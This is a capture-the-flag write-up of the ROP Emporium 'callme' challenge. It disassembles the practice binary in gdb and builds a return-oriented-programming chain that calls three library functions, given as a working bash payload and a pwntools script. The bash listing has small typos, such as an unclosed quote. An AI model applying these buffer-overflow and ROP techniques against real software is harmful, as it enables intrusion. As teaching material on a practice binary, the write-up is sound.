ropemporium: callme cafebabe (writeup continued)
Table Of Contents
intro
In ropemporium: split and callme writeup we went through the split problem. This callme challenge uses the same principles in a slightly more complicated configuration, and I know I said I’d do both in that post but it was getting long. Sorry. My blog, my rules.
In the description we’re told we need to make the following calls in the following order to print the flag:
callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
Pretty friendly. Let’s see if we can do it.
investigation
Using the same technique as last time with nm
, we can see usefulFunction
and usefulGadgets
functions in the binary. GDB will tell us what’s happening in each:
gdb -q callme
(gdb) disass usefulFunction
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
(gdb) disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
(gdb) exit
All three calls land in the PLT because these are loaded from an external library which comes bundled with the executable. In usefulFunction
, the program is loading in parameters for callme_three
, then calling it, and then doing the same for callme_two
and callme_one
.
Now we just need a gadget that loads in parameters to those registers and returns, which makes the usefulness of usefulGadgets
quite clear: this is how we’ll pop values off the stack into specific registers, where each callme
method will look for its arguments. But we should double check the x86-64 Application Binary Interface. On page 25 in the “Parameter Passing” section, it specifies:
2. If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8, and %r9 is used.
According to this, the calling convention will be:
callme(%rdi, %rsi, %rdx)
According to this, all we need from our ROP chain is:
- Overwrite the instruction pointer with the 3-argument gadget
- Pop all three arguments left-to-right
- The PLT address of
callme_one
which will be popped off the stack after theret
from the previous gadget - Repeat for
callme_two
andcallme_three
solution
Lets gather our opcodes:
- arg1 (0xdeadbeefdeadbeef) =
\xef\xbe\xad\xde\xef\xbe\xad\xde
- arg2 (0xcafebabecafebabe) =
\xbe\xba\xfe\xca\xbe\xba\xfe\xca
- arg3 (0xd00df00dd00df00d) =
\x0d\xf0\x0d\xd0\x0dxf0\x0d\xd0
- gadget (0x40093c) =
\x3c\x09\x40\x00\x00\x00\x00\x00
- callme_one (0x400720) =
\x20\x07\x40\x00\x00\x00\x00\x00
- callme_two (0x400740) =
\x40\x07\x40\x00\x00\x00\x00\x00
- callme_three (0x4006f0) =
\xf0\x06\x40\x00\x00\x00\x00\x00
bash
BOF=$(perl -E 'say "X" x 40')
ARG1="\xef\xbe\xad\xde\xef\xbe\xad\xde"
ARG2="\xbe\xba\xfe\xca\xbe\xba\xfe\xca"
ARG3="\x0d\xf0\x0d\xd0\x0d\xf0\x0d\xd0"
GADGET="\x3c\x09\x40\x00\x00\x00\x00\x00"
CALLME_ONE="\x20\x07\x40\x00\x00\x00\x00\x00"
CALLME_TWO="\x40\x07\x40\x00\x00\x00\x00\x00"
CALLME_THREE="\xf0\x06\x40\x00\x00\x00\x00\x00
echo "$BOF$GADGET$ARG1$ARG2$ARG3$CALLME_ONE$GADGET$ARG1$ARG2$ARG3$CALLME_TWO$GADGET$ARG1$ARG2$ARG3$CALLME_THREE" | ./callme
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
As usual this is easier to understand using Python and pwntools.
python
from pwn import *
prog = process("./callme")
payload = b'A' * 40
arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d
gadget = 0x40093c
callme_one = 0x400720
callme_two = 0x400740
callme_three = 0x4006f0
payload_order = [
gadget, arg1, arg2, arg3, callme_one,
gadget, arg1, arg2, arg3, callme_two,
gadget, arg1, arg2, arg3, callme_three,
]
payload += b''.join([p64(addr) for addr in payload_order])
print(prog.recvuntil(b'>'))
prog.clean()
prog.sendline(payload)
print(prog.clean())